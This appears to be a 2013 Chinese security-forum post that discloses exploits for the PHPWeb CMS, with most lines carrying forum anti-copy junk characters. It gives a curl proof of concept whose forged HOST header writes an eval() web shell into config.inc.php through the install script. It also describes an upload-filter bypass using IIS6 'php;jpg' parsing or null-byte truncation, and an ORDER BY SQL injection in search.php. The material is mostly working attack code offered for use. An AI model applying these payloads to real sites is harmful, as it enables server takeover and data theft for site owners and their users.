找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2268|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
注入:2 V; _; e0 B/ v' r6 f/ a

" e: T. l, u8 {7 c9 c$ U之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码8 P, P! {# Y: A3 e2 I

$ j- V5 k* K' k% N鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件. M! H* {+ Y& k5 L$ A( M
鸡肋2: 有一定安全常识的站长都会删掉 install 目录0 ~) r, v) P. I. o3 ~

4 F! P6 z3 |0 W7 H& V1 X# l) \2 C虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
/ u8 D! p$ e& \+ d# c% x5 e ; l1 _, [# g2 I2 m7 m
分析:
- V( E7 ^3 H; k& O) O7 }3 e ' H0 r: Z$ b5 |8 h; J

& n  D* B  G9 c2 `* s: V- x$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤+ f) J  a) ]4 S: w6 e) P
& e( C' v+ h/ Z( ]* X! K
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);9 T" d+ _. N6 B+ k: S0 S: f8 r
                                            $filestr=str_replace(" ","",$filestr);1 s; b1 L( D  t8 D7 X
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
- O" U# W: c4 Y6 R- P                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);4 b8 [1 v- w, j/ z! L
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
, U4 r1 D$ y' n, y$ [* t- h                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
& L' G: W' M  I2 j. ]                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
: |; i' |) u6 F/ e/ `' P4 P                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);6 B3 \  R" Q9 L; f
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
$ i9 z! U$ M! h- y& _- v$ z
+ J( o: c+ B/ N' p$ T3 Q                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
; |& ^2 [2 H% C/ G; J7 t$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^  ]8 G5 J$ x, Z* G2 ^" `

) Y: o. m% r6 o1 q5 K* L& Opoc:) `9 h- f) b- n

: a" {, H6 }" D% e; b0 @?% |! H* h4 Q  a. V* U- t! G2 D
1
+ ]9 }" |0 l1 r5 \; Wcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"# i2 E1 V/ W- X5 G9 t
shell地址: /config.inc.php  o6 h7 I2 S3 L  ]+ A
跟之前的 phpcms一样 需要远程数据库
& m- n# @. e% B! h& B1 _2 o
4 E9 Q$ P- g' O) q3 t——————————————————–6 E; s* p+ R6 k& e7 Q, n
上传漏洞(需要进后台):3 ?4 \# @! O" M7 L
漏洞文件: /kedit/upload_cgi/upload.php8 l  I# M8 Q5 u, Z
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用4 O0 {0 I/ r2 Q5 v& ]
& p+ L" H8 S9 O5 E$ k

) A; Z+ ~% [7 p( i% Q% A/ H<?php
0 L% ]& w$ f. m+ `/ b    define("ROOTPATH", "../../");
  _$ m8 I' D3 |0 z  F+ s% k( Z    include(ROOTPATH."includes/admin.inc.php");3 Q  g( f: A$ i; ]9 w
    NeedAuth(0);
1 D% u' ~/ m& F8 a/ u3 W # l  E$ b0 C3 J9 ?4 j/ b* `
    $dt=date("Ymd",time());, L( K5 `( t8 Y0 u5 M
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
6 E+ E( K- [1 E% N1 C& E            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);1 f: |$ @( D! t& @
    }: i& U5 n' }+ y6 r: Q- u9 Q+ Z

9 J" y2 k3 B+ ~6 ^    //文件保存目录路径
! j$ g' U+ o9 A+ V* {    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
: c( O9 d3 K+ q, O8 y    echo $save_path;7 m3 i: W# K+ {# m
    //文件保存目录URL
5 `/ C, |  `0 u4 q' R. K  h; x    $save_url = '../../'.$_POST['attachPath'].$dt.'/';4 f4 a  g7 L$ O& }/ `% @2 d

/ ~- e6 V! i2 Q7 ?. m$ o* P4 E    //定义允许上传的文件扩展名
2 T6 E1 d# g! n* r5 y- s7 p0 W6 n    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀0 R" k$ i( \! A# s7 {" R

. |, M% _/ q% A9 m    //最大文件大小7 \; f, u* ~: B- U
    $max_size = 1000000;
! u4 R+ M3 o8 M ) R- T7 J& ^. A5 x
    //更改目录权限
2 P6 L9 L. ^% L* `/ v6 h    @mkdir($save_path, 0777);- _8 y8 u+ y: j% j/ i' E# \

1 X- _/ d+ n* v    //文件的全部路径
: t6 V/ A# p0 _+ U4 \2 _. k    $file_path = $save_path.$_POST['fileName'];   //保存文件名: e" m$ E* r: D3 W" I: Y

5 I) U5 y5 P# w3 I# I6 w    //文件URL$ }- }( j6 r! L+ C- e9 j* S
    $file_url = $save_url.$_POST['fileName'];
" t, G- `( l: w//有上传文件时2 r" H, |9 Q+ s) w2 J! p9 E1 j
    if (empty($_FILES) === false) {
8 \& A. P- h6 X 0 ]+ o$ ?4 l7 @. e8 P$ T- Y
            //原文件名
1 O! w, y2 H# i# B* p- J            $file_name = $_FILES['fileData']['name'];
! s8 |7 y, w1 v            //服务器上临时文件名
+ U( o" Z* j2 f+ ]$ o* w: o% C% E            $tmp_name = $_FILES['fileData']['tmp_name'];
' Y& E. W* `9 ^+ W; O            //文件大小
5 _$ b3 p! }; v9 A            $file_size = $_FILES['fileData']['size'];
& l6 `3 A3 g" @  P8 ~3 T            //检查目录* m/ O; x7 f' s. Y4 Z
            if (@is_dir($save_path) === false) {
$ C* G3 i6 Y* w& Z' g7 T5 t                    alert("上传目录不存在。");  X" a# o" I  c" l# i  _
            }
# {, _/ Q! L) n6 u4 y, D            //检查目录写权限
/ Y/ t: M0 I: [$ ~+ F: q            if (@is_writable($save_path) === false) {
0 a8 k2 t# R' {+ l7 f                    alert("上传目录没有写权限。");
" ?# d9 R) H& n6 A3 h            }. d: V, h5 L! V) U! u' f
            //检查是否已上传2 m. @2 q9 |+ I! y7 ^( }# U- i) `
            if (@is_uploaded_file($tmp_name) === false) {2 {& a% t# B& Q
                    alert("临时文件可能不是上传文件。");7 g  k3 n8 g2 P7 S- H% p
            }0 w0 i3 a5 u( s6 ~
            //检查文件大小
: ]7 |. _( n: U4 l( f; [* c  K& D4 b) C/ p            if ($file_size > $max_size) {, v2 F  D& D/ G; b1 T% ]
                    alert("上传文件大小超过限制。");. G/ \; I* J0 n* D4 R' r1 S
            }
& o  Q2 P3 }  K; J8 y' W1 C            //获得文件扩展名+ Q/ w1 P$ ^) k1 A
            $temp_arr = explode(".", $_POST['fileName']);
0 a3 A+ Y+ X* S( k            $file_ext = array_pop($temp_arr);
; a$ q" u+ g4 F  Q: Z5 t            $file_ext = trim($file_ext);
% J2 S/ L" u% Q  \2 E) ^1 h* ~            $file_ext = strtolower($file_ext);
# W# s% R# b# o9 D# U/ I5 a
' V8 M3 Q3 L5 p& W            //检查扩展名   , ~! h5 C3 D# p
            if (in_array($file_ext, $ext_arr) === false) {     
  y0 u4 {5 d2 \$ X+ L0 z                    alert("上传文件扩展名是不允许的扩展名。");9 `; R+ W1 b1 @( \7 u
            }
9 n  |) U, l& H( F$ E# E( |3 B ' ^: e2 Q* d- {+ g. c
            //移动文件   
" @. A. N: [8 B            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^
) Q# Z0 i$ V8 W0 {  Z& W+ d  r            if (move_uploaded_file($tmp_name, $file_path) === false) {5 G3 V# l, |+ \) |+ ~; C
                    alert("上传文件失败。");
/ j6 a* _  K0 \+ a2 g0 @/ V            }+ p# l% D; M0 W" o7 O
" }5 m1 Q: G' @' M, `" [
            @chmod($file_path,0666);. t( U& y  E6 {- ~$ I5 W

; j# {$ \" f$ `! L! Y    ?>
. g6 l: M, E0 o5 ?抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227! c1 H" x% j+ Q$ S, L
6 R) g  I8 N  A) g5 I& `' t
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
6 Z" U8 j7 z. E+ w$ S5 C# b . L7 ?  ]# n4 H3 I
——————————————————
3 I3 L& o( @" H, v- V注入漏洞:$ O/ Y+ ]% u6 R8 [
漏洞文件:search/module/search.php
2 n6 M  N6 w% M, b8 q4 O/search/index.php?key=1&myord=1 [sqlinjection]
" `- K$ _: |9 K) V2 m , Y+ j$ W% z3 c7 e
& B% s$ r# x; Z
<?php: ^$ t, c$ b$ H5 V- p/ b6 y
   //       ... 省略 n 行...& D, s& {3 M8 [
   //第18行:
& Q5 g- c6 U* L! ?' ]8 \           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
+ [, J. v9 u# H$ Y           $page=htmlspecialchars($_GET["page"]);# O' F( |" o- m' i
           $myord=htmlspecialchars($_GET["myord"]);& p3 r, z0 Z5 ~9 [7 W

, Q- y4 D; G) g- b' v( {0 c( O   //       ... 省略 n 行...
- J6 X* _+ v; z4 @4 Z   $key,$myord 两个参数带入查询7 w& \; q+ }  E' W
   //第47行 $key:
* @; \$ ?6 k) d2 K/ q: r
* e, f. \$ ~0 [   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
( V! Z  Y. M# [* k
3 e8 @9 m1 e7 a" E. ]" A# K( B   //第197行 $myord
, o0 o. Y6 _3 c. P+ Y  P& c; [   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
1 w+ K* D/ Z0 V . J. t8 c5 Y# f- D
   ?>, R, N6 k2 g" Y$ i% T  _6 C
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表